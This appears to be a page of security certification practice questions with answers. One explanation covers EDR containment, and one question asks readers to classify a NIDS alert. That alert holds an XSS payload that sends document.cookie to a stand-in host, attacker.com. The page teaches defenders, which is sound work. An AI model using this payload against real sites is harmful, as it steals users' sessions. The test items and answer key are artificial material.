Applying host-level network isolation via EDR stops outbound command-and-control channels and internal lateral movement while keeping the security agent online. Capturing volatile memory before process termination ensures the analyst captures injected memory regions, unpacked code binaries, and network connection artifacts needed for complete forensic investigation.

Step-by-Step Solution

Isolate the compromised host from the network using host-level EDR capabilities.

The target machine is restricted from communicating with lateral endpoints or external C2 servers while maintaining active administrative communication with the EDR server.

Host-level isolation prevents malicious network propagation while preserving analyst command capability.

Trigger a remote RAM acquisition via EDR telemetry functions prior to remediation.

Unencrypted payload data, hollowed memory space, and active socket information are securely captured into a forensic memory image.

Volatile memory contains critical threat indicators that are permanently lost if the process is killed or the machine is restarted.

Proceed with targeted process termination and threat eradication workflows.

The injected code execution is stopped, and post-forensic remediation playbooks can safely run.

Eradication must occur only after containment and volatile forensic acquisition are established.

Key Concept

Endpoint Detection and Response (EDR) Containment and Evidence Preservation Workflow

Question 1180Question →

A security analyst is examining a real-time alert generated by a Network Intrusion Detection System (NIDS). The alert payload captures an HTTP POST request sent from an internal corporate host to an external web application:

`POST /profile/update HTTP/1.1`
`Host: portal.example.com`
`Content-Type: application/x-www-form-urlencoded`
`Data: username=user1&bio=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`

Based on the network security monitoring alert, which of the following attack types is occurring?

Cross-Site Scripting (XSS)

SQL Injection (SQLi)

Honeypot decoy deflection

Buffer overflow attack

Show answer & explanation

Answer: Cross-Site Scripting (XSS)

Answer

The alert indicates a Cross-Site Scripting (XSS) attack because the payload contains HTML/JavaScript code designed to run client-side scripts and steal browser cookies.

The correct answer is Cross-Site Scripting (XSS). The captured payload contains script tags (`<script>`) designed to execute malicious JavaScript within a web browser context to exfiltrate session tokens via `document.cookie`.

Step-by-Step Solution

Analyze the HTTP packet payload in the NIDS alert log.

Identified HTML `<script>` tags and browser DOM manipulation (`document.cookie`).

Script tags and DOM property access are signatures of client-side code execution.

Differentiate between database injection and client-side script injection.

The payload targets browser execution rather than backend database syntax.

SQL injection targets database commands (e.g., SELECT, UNION), whereas XSS targets web client execution.

Select the matching attack classification.

Confirmed the alert represents a Cross-Site Scripting (XSS) attempt.

XSS occurs when untrusted user input containing executable script tags is accepted by a web application.

Key Concept

Identifying attack signatures in NIDS/SIEM network monitoring logs

PreviousPage 59 / 112Next

All practice questions

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept